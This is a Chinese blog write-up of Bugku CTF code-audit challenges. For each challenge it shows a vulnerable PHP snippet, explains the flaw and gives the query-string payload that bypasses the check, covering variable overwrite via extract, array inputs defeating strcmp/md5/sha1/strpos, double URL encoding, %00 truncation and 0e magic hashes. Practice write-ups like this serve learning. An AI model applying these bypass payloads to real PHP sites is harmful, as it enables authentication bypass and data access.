bugku web 代码审计

作者: hxf981224 分类: 未分类 发布时间: 2019-10-24 19:47

代码审计

extract变量覆盖

http://123.206.87.240:9009/1.php

 <?php
 $flag='xxx';
 extract($_GET);
 if(isset($shiyan))
 {
 $content=trim(file_get_contents($flag));
 if($shiyan==$content)
 {
 echo'flag{xxx}';
 }
 else
 {
 echo'Oh.no';
 }
 }
 ?>

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

该函数返回成功设置的变量数目。

file_get_contents() 函数把整个文件读入一个字符串中。

构造payload

 ?shiyan=&flag

flag

 flag{bugku-dmsj-p2sm3N}

strcmp比较字符串

http://123.206.87.240:9009/6.ph

 <?php
 $flag = "flag{xxxxx}";
 if (isset($_GET['a'])) {
 if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
 //比较两个字符串(区分大小写)
 die('Flag: '.$flag);
 else
 print 'No';
 }
 ?>
 功能:比较字符串s1和s2。
 一般形式:strcmp(字符串1,字符串2)
 说明:
 当s1<s2时,返回为负数 注意不是-1
 当s1==s2时,返回值= 0
 当s1>s2时,返回正数 注意不是1
 即:两个字符串自左向右逐个字符相比(按ASCII值大小相比较),直到出现不同的字符或遇'\0'为止。如:
 "A"<"B" "a">"A" "computer">"compare"
 特别注意:strcmp(const char *s1,const char * s2)这里面只能比较字符串,不能比较数字等其他形式的参数。

审计代码可是我们要让a的长度=flag的长度,但是flag的长度是未知的,但是php弱类型有个特性数组和一起字符串相等所以用[]绕过 payload

 ?a[]

flag

 Flag: flag{bugku_dmsj_912k}

urldecode二次编码绕过

http://123.206.87.240:9009/10.php

 <?php
 if(eregi("hackerDJ",$_GET[id])) {  //id不能等于hackerDJ
 echo("
 ​
 not allowed!
 ​
 ");
 exit();
 }
 $_GET[id] = urldecode($_GET[id]); //$_GET[id] = urldecode($_GET[id]);
 if($_GET[id] == "hackerDJ")//if($_GET[id] == "hackerDJ")
 {
 echo "
 Access granted!
 ​
 ";
 echo "
 flag
 ​
 ";
 }
 ?>

eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写。Eregi()可以特别有用的检查有效性字符串,如密码。

所以我们两次url编码payload

 ?id=%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41

flag

 flag{bugku__daimasj-1t2}

md5()函数

http://123.206.87.240:9009/18.php
 <?php
 error_reporting(0);
 $flag = 'flag{test}';
 if (isset($_GET['username']) and isset($_GET['password'])) {
 if ($_GET['username'] == $_GET['password'])
 print 'Your password can not be your username.';
 else if (md5($_GET['username']) === md5($_GET['password']))
 die('Flag: '.$flag);
 else
 print 'Invalid password';
 }
 ?>

审计代码得到username!=password,但是MD5(username)===MD5[password]

md5 不能加密数组,当MD5加密数组时就会返回null所以payload

 ?username[]=1&password[]=2

flag

 flag{bugk1u-ad8-3dsa-2}

数组返回NULL绕过

http://123.206.87.240:9009/19.php

 <?php
 $flag = "flag";
 ​
 if (isset ($_GET['password'])) {
 if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
 echo 'You password must be alphanumeric';
 else if (strpos ($_GET['password'], '--') !== FALSE)
 die('Flag: ' . $flag);
 else
 echo 'Invalid password';
 }
 ?>

审计代码看到ereg(),它存在%00截断. strops()

strpos() 函数查找字符串在另一字符串中第一次出现的位置。

 ereg只能处理字符,而password是数组,所以返回的是null,三个等号的时候不会进行类型转换。所以null!==false。
 ​
 strpos的参数同样不能够是数组,所以返回的依旧是null,null!==false也是正确。

payload

 password[]=%00--

弱类型整数大小比较绕过

http://123.206.87.240:9009/22.php
 $temp = $_GET['password'];
 is_numeric($temp)?die("no numeric"):NULL;
 if($temp>1336){
 echo $flag;

is_numeric()判断变量是否为数字或数字字符串

解题思路:is_numeric()函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,查看函数发现该函数对于第一个空格字符会跳过空格字符判断,接着后面的判断

所以payload

 ?password=23455%00

flag

flag{bugku_null_numeric}

sha()函数比较绕过

http://123.206.87.240:9009/7.php

<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
var_dump($_GET['name']);
echo "
";
var_dump($_GET['password']);
var_dump(sha1($_GET['name']));
var_dump(sha1($_GET['password']));
if ($_GET['name'] == $_GET['password'])
echo '

Your password can not be your name!

';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '
Invalid password.

';
}
else
echo '
Login first!

';
?>

审计代码我们需要绕过两个地方

if ($_GET['name'] == $_GET['password'])判断时两数组确实是不同的

第二处else if (sha1($GET[‘name’]) === sha1($GET[‘password’]))

因为sha1不能处理数组,他会报错false===false,所以payload

?name[]=1&password[]=2

md5加密相等绕过

http://123.206.87.240:9009/13.php

<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "flag{*}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>

审计代码发现要传一个与QNKCDZOMD5加密相等的/因为QNKCDZO加密是0e,所有我们找个加密是0ed的

payload

?a=240610708

flag

flag{bugku-dmsj-am9ls}

十六进制与数字比较

http://123.206.87.240:9009/20.php

<?php
error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 码值
$nine = ord('9'); //ord — 返回字符的 ASCII 码值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>

ord()返回字符串的首个字母的ascii值

解题 让password = number的16进制 所以payload

?password=0xdeadc0de

flag

flag{Bugku-admin-ctfdaimash}

ereg正则%00截断

http://123.206.87.240:9009/5.php

<?php
$flag = "xxx";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '

You password must be alphanumeric

';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
}
else
{
echo('
- have not been found

');
}
}
else
{
echo '
Invalid password

';
}
}
?>

审计代码ereg()函数,使用%00截断,else if (strlen($GET[‘password’]) < 8 && $GET[‘password’] > ,,,if (strpos ($_GET[‘password’], ‘-‘) !== FALSE) //strpos — 查找字符串首使用数组绕过所以payload

?password[]=%00

flag

flag{bugku-dm-sj-a12JH8}

strpos数组绕过

http://123.206.87.240:9009/15.php

<?php
$flag = "flag";
if (isset ($_GET['ctf'])) {
if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>

看到了ereg()函数使用数组绕过,

payload

?ctf[]=biubiubiu

flag

flag{Bugku-D-M-S-J572}

数字验证正则绕过

http://123.206.87.240:9009/21.php

<?php
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
{
echo 'flag';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,必须包含四种类型三种与三种以上
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?><?php
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
{
echo 'flag';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,必须包含四种类型三种与三种以上
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?>

代码审计需要满足一个条件:1. if (0 >= preg_match(‘/^[[:graph:]]{12,}/′,/′,password)) ==》 TRUE

利用preg_match()函数不能处理数组构造payload

password[]

flag

flag{Bugku_preg_match}

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

电子邮件地址不会被公开。 必填项已用*标注

标签云